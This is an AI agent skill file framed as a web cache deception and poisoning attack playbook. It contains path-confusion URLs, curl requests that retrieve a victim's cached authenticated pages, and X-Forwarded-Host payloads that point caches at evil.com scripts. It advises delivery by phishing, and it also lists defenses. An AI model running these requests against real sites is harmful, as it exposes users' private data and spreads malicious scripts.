SKILL: Web Cache Deception — Expert Attack Playbook

AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.

Advanced Reference

Also load CACHE_POISONING_TECHNIQUES.md when you need:

• Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
• Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
• Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
• Fat GET cache poisoning (body parameters reflected but not keyed)
• Parameter cloaking via semicolons and duplicate parameter parsing differentials
• CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
• Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities

1. CORE CONCEPTS

Web Cache Deception (steal authenticated data)

The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:

Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's data

Web Cache Poisoning (serve malicious content)

The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript

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2. CACHE DECEPTION — ATTACK METHODOLOGY

Step 1: Identify Cacheable Path Patterns

CDNs typically cache by file extension:

.css  .js  .jpg  .png  .gif  .svg  .ico
.woff .woff2  .ttf  .pdf  .json (sometimes)

Step 2: Test Path Confusion

# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json

# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.css

Step 3: Verify Caching

# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css

# Check response headers:
# X-Cache: MISS (first request)
# Age: 0

# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css

# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerable

Step 4: Deliver to Victim

Send the crafted URL to victim via phishing, message, or embed:

https://target.com/account/profile/tracking.gif

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3. CACHE POISONING — ATTACK METHODOLOGY

Unkeyed Input Discovery

Cache keys typically include: Host, URL path, query string. These are typically NOT in the cache key: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, cookies, custom headers.

# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonable

Common Unkeyed Headers

X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
X-Original-URL        X-Rewrite-URL         X-Host
X-Forwarded-Server    Forwarded             True-Client-IP

Cache Poisoning via Host Header

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS

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4. PATH NORMALIZATION DIFFERENCES

The key to cache deception: CDN and application normalize paths differently.

Component	Behavior
CDN (Cloudflare, Akamai)	Caches based on full URL path including extension
Application (Rails, Django, Express)	May ignore trailing path segments or extensions
Reverse proxy (Nginx)	May strip or rewrite path before forwarding

# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css

# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability

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5. CACHE POISONING REAL-WORLD PATTERN

X-Forwarded-Host → Open Graph / Meta Tag Injection

# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">

# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack

Cache Deception with Path Separator Tricks

# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css

# Encoded separators:
/account/profile%2F.css

# Trailing dot/space:
/account/profile/.css
/account/profile .css

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6. DEFENSE

For Cache Deception

• Cache only explicitly static paths (e.g., /static/*, /assets/*)
• Never cache based on file extension alone
• Set Cache-Control: no-store, private on authenticated endpoints
• Use Vary: Cookie to prevent cross-user cache hits

For Cache Poisoning

• Include all reflected headers in cache key
• Validate and sanitize X-Forwarded-* headers
• Use Cache-Control: no-cache for dynamic content
• Strip unknown headers at CDN edge

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6. TESTING CHECKLIST

□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authentication